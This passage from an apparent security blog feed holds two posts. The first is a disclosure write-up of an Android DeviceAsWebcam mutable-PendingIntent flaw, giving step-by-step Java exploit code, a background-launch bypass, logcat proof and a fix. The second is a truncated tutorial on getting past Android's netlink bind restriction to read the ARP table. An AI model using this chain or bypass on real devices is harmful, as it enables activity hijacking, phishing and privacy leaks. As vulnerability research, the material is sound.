&lt;p&gt;When you call &lt;code&gt;PendingIntent.send(context, code, fillInIntent)&lt;/code&gt;, the system merges the &lt;code&gt;fillInIntent&lt;/code&gt; into the original intent using &lt;code&gt;Intent.fillIn()&lt;/code&gt;. The merge rules are simple: &lt;strong&gt;a field in the fill-in intent can override the corresponding field in the original intent only if the original field is null/empty&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Since &lt;code&gt;getPreviewActivityIntent()&lt;/code&gt; sets only the component and leaves everything else empty, an attacker can inject:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Injectable?&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Action&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Original is null&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data URI&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Original is null&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Categories&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Original is empty&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Extras&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Original is empty&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flags&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Original is 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ClipData&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Original is null&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Already set (requires &lt;code&gt;FILL_IN_COMPONENT&lt;/code&gt; flag)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If &lt;code&gt;FLAG_IMMUTABLE&lt;/code&gt; were used instead, the system would completely ignore the fill-in intent — &lt;code&gt;PendingIntent.java:259-267&lt;/code&gt; skips the &lt;code&gt;fillIn()&lt;/code&gt; call entirely when &lt;code&gt;FLAG_IMMUTABLE&lt;/code&gt; is set.&lt;/p&gt;
&lt;h2 id="the-pendingintent-survives-notification-redaction"&gt;The PendingIntent Survives Notification Redaction&lt;/h2&gt;
&lt;p&gt;Android 12+ redacts notification content for apps that read notifications on the lockscreen. But PendingIntents are explicitly excluded from this. In &lt;code&gt;Notification.cloneInto()&lt;/code&gt; (line 3035), the comment reads:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;PendingIntents are global, so there&amp;rsquo;s no reason (or way) to clone them.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This means any app with &lt;code&gt;NotificationListenerService&lt;/code&gt; access always gets the full PendingIntent object, regardless of notification visibility settings.&lt;/p&gt;
&lt;h2 id="the-exploit-chain"&gt;The Exploit Chain&lt;/h2&gt;
&lt;p&gt;A malicious app with user-granted NLS access can:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Extract the PendingIntent.&lt;/strong&gt; When DeviceAsWebcam starts its foreground service (USB webcam mode), the NLS callback delivers the &lt;code&gt;StatusBarNotification&lt;/code&gt;. The attacker extracts &lt;code&gt;sbn.getNotification().contentIntent&lt;/code&gt; — the mutable PendingIntent created by UID 1000.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Build the fill-in intent.&lt;/strong&gt; The attacker constructs an intent with arbitrary fields:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Intent&lt;span style="color:#6e7681"&gt; &lt;/span&gt;fillIn&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;new&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;Intent(&lt;span style="color:#a5d6ff"&gt;&amp;#34;com.attacker.HIJACKED_ACTION&amp;#34;&lt;/span&gt;);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fillIn.setData(Uri.parse(&lt;span style="color:#a5d6ff"&gt;&amp;#34;https://attacker.example.com/phishing&amp;#34;&lt;/span&gt;));&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fillIn.addCategory(&lt;span style="color:#a5d6ff"&gt;&amp;#34;com.attacker.INJECTED_CATEGORY&amp;#34;&lt;/span&gt;);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fillIn.putExtra(&lt;span style="color:#a5d6ff"&gt;&amp;#34;attacker_controlled_key&amp;#34;&lt;/span&gt;,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;malicious_value&amp;#34;&lt;/span&gt;);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fillIn.putExtra(&lt;span style="color:#a5d6ff"&gt;&amp;#34;attacker_session_id&amp;#34;&lt;/span&gt;,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;1337);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fillIn.putExtra(&lt;span style="color:#a5d6ff"&gt;&amp;#34;attacker_is_admin&amp;#34;&lt;/span&gt;,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;true&lt;/span&gt;);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Step 3 — Bypass Background Activity Launch (BAL) restrictions.&lt;/strong&gt; Apps targeting SDK 34+ are blocked from launching activities from PendingIntent sends by default — they only get &lt;code&gt;ALLOW_FGS&lt;/code&gt;, which is insufficient. The attacker uses the public API:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ActivityOptions&lt;span style="color:#6e7681"&gt; &lt;/span&gt;opts&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;ActivityOptions.makeBasic();&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;opts.setPendingIntentBackgroundActivityStartMode(&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;ActivityOptions.MODE_BACKGROUND_ACTIVITY_START_ALLOWED);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This upgrades the sender from &lt;code&gt;ALLOW_FGS&lt;/code&gt; to &lt;code&gt;ALLOW_BAL&lt;/code&gt;. Combined with the attacker&amp;rsquo;s app having a visible activity on screen, the system grants &lt;code&gt;BAL_ALLOW_VISIBLE_WINDOW&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4 — Send.&lt;/strong&gt; The attacker calls &lt;code&gt;PendingIntent.send(ctx, 0, fillIn, null, null, null, opts.toBundle())&lt;/code&gt;. The system-UID camera preview activity appears on screen within 60ms, overlapping the user&amp;rsquo;s current task. The user did not tap the notification, did not open DeviceAsWebcam, and had no interaction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5 — Replay.&lt;/strong&gt; No &lt;code&gt;FLAG_ONE_SHOT&lt;/code&gt; means subsequent sends succeed. The second send was confirmed via &lt;code&gt;BAL_ALLOW_GRACE_PERIOD&lt;/code&gt;, displayed in +128ms.&lt;/p&gt;
&lt;h2 id="confirmed-on-real-hardware"&gt;Confirmed on Real Hardware&lt;/h2&gt;
&lt;p&gt;Tested on &lt;code&gt;google/husky_beta/husky:CinnamonBun/CP21.260206.011/14911669:user/release-keys&lt;/code&gt; (Android 14+, Pixel device).&lt;/p&gt;
&lt;p&gt;Logcat output confirming the full injection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;START u0 {act=com.attacker.HIJACKED_ACTION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cat=[com.attacker.INJECTED_CATEGORY]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dat=https://attacker.example.com/...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmp=com.android.DeviceAsWebcam/com.android.deviceaswebcam.DeviceAsWebcamPreview
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (has extras)}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; from uid 1000 (com.android.DeviceAsWebcam)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (realCallingUid=10314)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (BAL_ALLOW_VISIBLE_WINDOW [realCaller])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result code=0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Displayed com.android.DeviceAsWebcam/...DeviceAsWebcamPreview: +60ms
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Second send:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Displayed com.android.DeviceAsWebcam/...DeviceAsWebcamPreview: +128ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(BAL_ALLOW_GRACE_PERIOD)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="impact"&gt;Impact&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Foreground activity hijack.&lt;/strong&gt; The system-UID camera preview is force-launched over the user&amp;rsquo;s current activity using only public APIs. No root, no reflection, no hidden APIs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Intent field injection into a system-UID process.&lt;/strong&gt; Attacker-controlled action, data URI, extras, flags, and categories arrive at &lt;code&gt;DeviceAsWebcamPreview&lt;/code&gt; running as UID 1000. Currently the activity does not consume all of these fields, but the injection surface is durable — any future code that reads &lt;code&gt;getIntent().getData()&lt;/code&gt; or extras in this activity would be immediately exploitable by the same chain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Realistic attack surface.&lt;/strong&gt; The attack requires &lt;code&gt;NotificationListenerService&lt;/code&gt; access, which is user-granted. But thousands of Play Store apps already have it: smartwatch companions (Fitbit, Galaxy Wearable, Wear OS), notification managers, auto-reply bots, accessibility tools, and automation apps (Tasker). A malicious update to any of these could exploit this silently without re-prompting the user for permissions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Permission mismatch.&lt;/strong&gt; The user grants NLS for notification reading. The exploit uses an extracted PendingIntent to launch a system-UID activity with injected intent fields — an action far beyond what the permission is understood to authorize.&lt;/p&gt;
&lt;h2 id="scope-limitation"&gt;Scope Limitation&lt;/h2&gt;
&lt;p&gt;The foreground hijack requires the attacker&amp;rsquo;s app to have a visible, non-pinned activity at the time of &lt;code&gt;send()&lt;/code&gt;. Background sends — from a foreground service or PIP mode — are blocked by Android 14+&amp;rsquo;s BAL hardening (&lt;code&gt;realCallingUidHasVisibleNotPinnedActivity: false → BAL_BLOCK&lt;/code&gt;). This prevents continuous background DoS but does not prevent the foreground hijack when the attacker&amp;rsquo;s app is on screen.&lt;/p&gt;
&lt;h2 id="video-demo"&gt;Video Demo&lt;/h2&gt;
&lt;video controls playsinline style="width:100%;max-width:720px;border-radius:6px;border:1px solid #2a2a2a;margin:1rem 0;"&gt;
&lt;source src="/media/poc3_webcam.mp4" type="video/mp4"&gt;
Your browser does not support the video tag.
&lt;/video&gt;
&lt;h2 id="suggested-fix"&gt;Suggested Fix&lt;/h2&gt;
&lt;p&gt;Replace &lt;code&gt;FLAG_MUTABLE&lt;/code&gt; with &lt;code&gt;FLAG_IMMUTABLE&lt;/code&gt; at line 134. &lt;code&gt;FLAG_IMMUTABLE&lt;/code&gt; causes the system to completely ignore the fill-in intent parameter to &lt;code&gt;send()&lt;/code&gt;, eliminating the entire injection surface. The notification tap does not require mutability.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;// BEFORE (vulnerable):&lt;/span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PendingIntent.getActivity(mContext,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;0,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;notificationIntent,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;PendingIntent.FLAG_MUTABLE);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;// AFTER (safe):&lt;/span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PendingIntent.getActivity(mContext,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;0,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;notificationIntent,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;PendingIntent.FLAG_IMMUTABLE);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Defense-in-depth: add &lt;code&gt;FLAG_ONE_SHOT&lt;/code&gt; if replay is unnecessary.&lt;/p&gt;
&lt;h2 id="android-security-team-response"&gt;Android Security Team Response&lt;/h2&gt;
&lt;p&gt;Android Security rated this report &lt;strong&gt;NSBC (Not Security Bulletin Class)&lt;/strong&gt; under their &lt;a href="https://source.android.com/security/overview/updates-resources#severity"&gt;published severity guidance&lt;/a&gt;, while noting the issue may still be shared with the feature team for potential remediation.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Tested on: &lt;code&gt;google/husky_beta/husky:CinnamonBun/CP21.260206.011/14911669:user/release-keys&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;</content><category term="android"/><category term="security"/><category term="vrp"/><category term="aosp"/><category term="pendingintent"/></entry><entry><title>Retrieving the ARP Table on Android SDK 30+ via Netlink</title><link href="https://contact.alessandrosangiorgi.net/posts/ip-neigh-android-sdk30-netlink-workaround/" rel="alternate" type="text/html"/><id>https://contact.alessandrosangiorgi.net/posts/ip-neigh-android-sdk30-netlink-workaround/</id><published>2026-04-08T00:00:00Z</published><updated>2026-04-08T00:00:00Z</updated><summary>Google blocked netlink socket bind in Android 11 (targetSDK 30), breaking ARP table access for apps. I wrote a JNI library that bypasses the restriction by sending RTNetlink dump requests without binding — until SELinux closed the door for good. Ubiquiti wanted to buy it for WiFiMan; I open-sourced it instead.</summary><content type="html">&lt;p&gt;Starting with Android 11 (API level 30), Google removed the ability for apps to run &lt;code&gt;ip neigh&lt;/code&gt; or bind netlink sockets. This broke every app that relied on reading the ARP table — network scanners, device discovery tools, local network diagnostics. The change was intentional: Google argued that exposing the neighbor table leaks information about other devices on the local network, which is a privacy concern.&lt;/p&gt;
&lt;p&gt;The problem is that there was no replacement API. Apps that needed neighbor discovery — for example, to find smart home devices, printers, or other hosts on the LAN — were simply out of luck. So I wrote a native library that retrieves the ARP table via RTNetlink without binding the socket, shipped it as an Android library, and &lt;a href="https://github.com/fulvius31/ip-neigh-sdk30"&gt;open-sourced it&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="background-netlink-and-rtnetlink"&gt;Background: Netlink and RTNetlink&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Netlink&lt;/strong&gt; is the Linux kernel&amp;rsquo;s IPC mechanism for communication between the kernel and user-space processes. It&amp;rsquo;s a socket-based interface (&lt;code&gt;AF_NETLINK&lt;/code&gt;) that replaces older &lt;code&gt;ioctl&lt;/code&gt;-based approaches for configuring networking, routing, and other kernel subsystems. Netlink sockets support multicast (subscribing to kernel events) and request-response patterns (dumping tables, modifying routes).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RTNetlink&lt;/strong&gt; (&lt;code&gt;NETLINK_ROUTE&lt;/code&gt;) is the most commonly used netlink family. It handles everything related to network configuration: routes, addresses, links, neighbors (ARP/NDP), traffic control. When you run &lt;code&gt;ip neigh show&lt;/code&gt;, &lt;code&gt;iproute2&lt;/code&gt; opens an &lt;code&gt;AF_NETLINK&lt;/code&gt; socket with the &lt;code&gt;NETLINK_ROUTE&lt;/code&gt; protocol, sends an &lt;code&gt;RTM_GETNEIGH&lt;/code&gt; message, and parses the kernel&amp;rsquo;s response.&lt;/p&gt;
&lt;p&gt;The standard flow looks like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a socket: &lt;code&gt;socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bind&lt;/strong&gt; it to a netlink address with your PID&lt;/li&gt;
&lt;li&gt;Send a dump request (&lt;code&gt;NLM_F_REQUEST | NLM_F_DUMP&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Receive and parse the response&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Google&amp;rsquo;s restriction in SDK 30 targets &lt;strong&gt;step 2&lt;/strong&gt; — apps can no longer &lt;code&gt;bind()&lt;/code&gt; a netlink socket. Without binding, the traditional flow fails.&lt;/p&gt;
&lt;h2 id="the-workaround-skip-the-bind"&gt;The Workaround: Skip the Bind&lt;/h2&gt;
&lt;p&gt;The key insight is that &lt;code&gt;bind()&lt;/code&gt; is not strictly required. You can &lt;code&gt;send()&lt;/code&gt; on an unbound netlink socket and the kernel will still route the response back to you. The socket gets an implicit binding when you send the first message. This is the core of the workaround.&lt;/p&gt;
&lt;p&gt;The implementation lives in a JNI (Java Native Interface) layer — C code compiled with the Android NDK and called from Java/Kotlin. The Java side opens a &lt;code&gt;ParcelFileDescriptor&lt;/code&gt; pipe and passes the write end&amp;rsquo;s file descriptor down to native code. The native code does the netlink work and writes the results back through the pipe, which the Java side reads.&lt;/p&gt;
&lt;h3 id="creating-the-socket-and-sending-the-request"&gt;Creating the Socket and Sending the Request&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; sockaddr_nl saddr;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;int&lt;/span&gt; s &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;socket&lt;/span&gt;(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;memset&lt;/span&gt;(&lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;amp;&lt;/span&gt;saddr, &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ff7b72"&gt;sizeof&lt;/span&gt;(saddr));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;saddr.nl_family &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; AF_NETLINK;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;saddr.nl_pid &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;getpid&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;// No bind() call — this is the whole trick
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The dump request asks the kernel for the neighbor table. The message type is &lt;code&gt;RTM_GETNEIGH&lt;/code&gt; (value 30), and the flags include &lt;code&gt;NLM_F_DUMP&lt;/code&gt; to request the full table:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;int&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;do_route_dump_request&lt;/span&gt;(&lt;span style="color:#ff7b72"&gt;int&lt;/span&gt; sock)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; nlmsghdr nlh;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; rtmsg rtm;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } nl_request;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; nl_request.nlh.nlmsg_type &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;30&lt;/span&gt;; &lt;span style="color:#8b949e;font-style:italic"&gt;// RTM_GETNEIGH
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; nl_request.nlh.nlmsg_flags &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; NLM_F_REQUEST &lt;span style="color:#ff7b72;font-weight:bold"&gt;|&lt;/span&gt; NLM_F_DUMP;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; nl_request.nlh.nlmsg_pid &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;getpid&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; nl_request.nlh.nlmsg_len &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#ff7b72"&gt;sizeof&lt;/span&gt;(nl_request);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; nl_request.nlh.nlmsg_seq &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; nl_request.rtm.rtm_family &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; AF_INET;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;return&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;send&lt;/span&gt;(sock, &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;amp;&lt;/span&gt;nl_request, &lt;span style="color:#ff7b72"&gt;sizeof&lt;/span&gt;(nl_request), &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;nlmsghdr&lt;/code&gt; is the standard netlink message header — every netlink message starts with one. It specifies the message type, flags, the sender&amp;rsquo;s PID, and the total message length. The &lt;code&gt;rtmsg&lt;/code&gt; payload that follows tells the kernel we want IPv4 neighbors (&lt;code&gt;AF_INET&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id="receiving-and-parsing-the-response"&gt;Receiving and Parsing the Response&lt;/h3&gt;
&lt;p&gt;The response arrives as a stream of &lt;code&gt;nlmsghdr&lt;/code&gt; messages, each containing a neighbor entry. The receive logic uses a two-pass approach — first peek to get the total message size, then allocate and read:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;static&lt;/span&gt; &lt;span style="color:#ff7b72"&gt;int&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;rtnl_recvmsg&lt;/span&gt;(&lt;span style="color:#ff7b72"&gt;int&lt;/span&gt; fd, &lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; msghdr &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;msg, &lt;span style="color:#ff7b72"&gt;char&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;**&lt;/span&gt;answer)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; iovec &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;iov &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; msg&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;msg_iov;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;char&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;*&lt;/span&gt;buf;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;int&lt;/span&gt; len;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
